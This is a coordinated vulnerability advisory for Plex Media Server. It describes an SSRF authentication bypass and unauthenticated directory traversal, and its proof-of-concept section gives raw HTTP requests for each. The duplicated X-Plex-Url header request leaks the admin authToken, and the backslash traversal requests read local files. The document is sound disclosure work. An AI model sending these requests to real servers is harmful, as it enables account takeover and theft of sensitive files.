Authentication bypass (SSRF) and local file disclosure

SEC Consult Vulnerability Lab Security Advisory < 20140228-1 >


title: Authentication bypass (SSRF) and local file disclosure

product: Plex Media Server

vulnerable version: <=

fixed version: >=

impact: Critical


found: 2014-02-06

by: Stefan Viehböck

SEC Consult Vulnerability Lab


Vendor/product description:


"Plex is a media player system consisting of a player application with a

10-foot user interface and an associated media server. It is available for

Mac OS X, Linux, and Microsoft Windows."



Vulnerability overview/description:


1. Authentication bypass / Server Side Request Forgery (SSRF)

The Plex Media Server "/system/proxy" functionality fails to properly validate

pre-authentication user requests. This allows unauthenticated attackers to make

the Plex Media Server execute arbitrary HTTP requests.

By requesting content from an attacker can bypass all authentication

and execute commands with administrative privileges.

2. Unauthenticated local file disclosure

Because of insufficient input validation, arbitrary local files can be

disclosed. Files that include passwords and other sensitive information can

be accessed.


Plex "Remote" servers (thousands of them can be found via Shodan and Google,

none of them were accessed) are affected by both vulnerabilities as well.


Proof of concept:


1. Authentication bypass / Server Side Request Forgery (SSRF)

The following GET request bypasses the webserver whitelist.

GET /system/proxy HTTP/1.1
X-Plex-Url: http:// localhost:32400/myplex/account?IRRELEVANT=
X-Plex-Url: http://


The last X-Plex-Url header value "" is contained in

the whitelist (Regex) and passes validation. The request is then processed by

the actual request handler in the backend webserver (Python). Here both header

values are concatenated using a comma. This way the actual URL that is

requested is controlled by the first X-Plex-Url value.

By indicating a parameter (called IRRELEVANT) the second X-Plex-Url value is


This results in the following request (made by Plex Media Server):


GET /myplex/account?IRRELEVANT=, HTTP/1.1
Host: localhost:32400
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 (.NET CLR 3.5.30729)
Connection: close
Accept: */*
Accept-Encoding: gzip


The response for this request is passed to the attacker and includes the

authToken value ("master token"), which can be used to impersonate legitimate

Plex users. Of course other administrative actions can be performed as well.

<?xml version="1.0" encoding="UTF-8"?>
<MyPlex authToken="<REMOVED>" username="<REMOVED>" mappingState="mapped" mappingError="" mappingErrorMessage="1" signInState="ok" publicAddress="1" publicPort="9415" privateAddress="1" privatePort="32400" subscriptionFeatures="cloudsync,pass,sync" subscriptionActive="1" subscriptionState="Active">

A video demonstrating this issue has been released by SEC Consult:


2. Unauthenticated local file disclosure

The following requests show different functionality that is vulnerable to

directory traversal:

GET /manage/..\..\..\..\..\..\..\..\..\..\secret.txt HTTP/1.1
Host: <HOST>

GET /web/..\..\..\..\..\..\..\..\..\..\secret.txt HTTP/1.1
Host: <HOST>

GET /:/resources/..\..\..\..\..\..\..\..\..\..\secret.txt HTTP/1.1
Host: <HOST>

The /manage/ and /web/ handlers can be exploited without prior authentication.

This vulnerability was confirmed on Windows.


Vulnerable / tested versions:


The vulnerabilities have been verified to exist in Plex Media Server version


Vendor contact timeline:


2014-02-09: Contacting vendor through and requesting

encryption keys.

2014-02-10: Vendor provides encryption keys.

2014-02-10: Sending advisory and proof of concept exploit.

2014-02-10: Vendor acknowledges receipt of advisory.

2014-02-17: Requesting status update.

2014-02-17: Vendor provides release timeline.

2014-02-20: Vendor releases fixed version (

2014-02-21: Requesting clarification regarding fixed version.

2014-02-21: Vendors provides further information about fixed version and

other reported vulnerabilities.

2014-02-28: SEC Consult releases coordinated security advisory.




Update to a more recent version of Plex Media Server (eg.




No workaround available.


Advisory URL:




SEC Consult Vulnerability Lab

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Phone: +43 1 8903043 0

Fax: +43 1 8903043 15

Mail: research at sec-consult dot com




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EOF Stefan Viehböck / @2014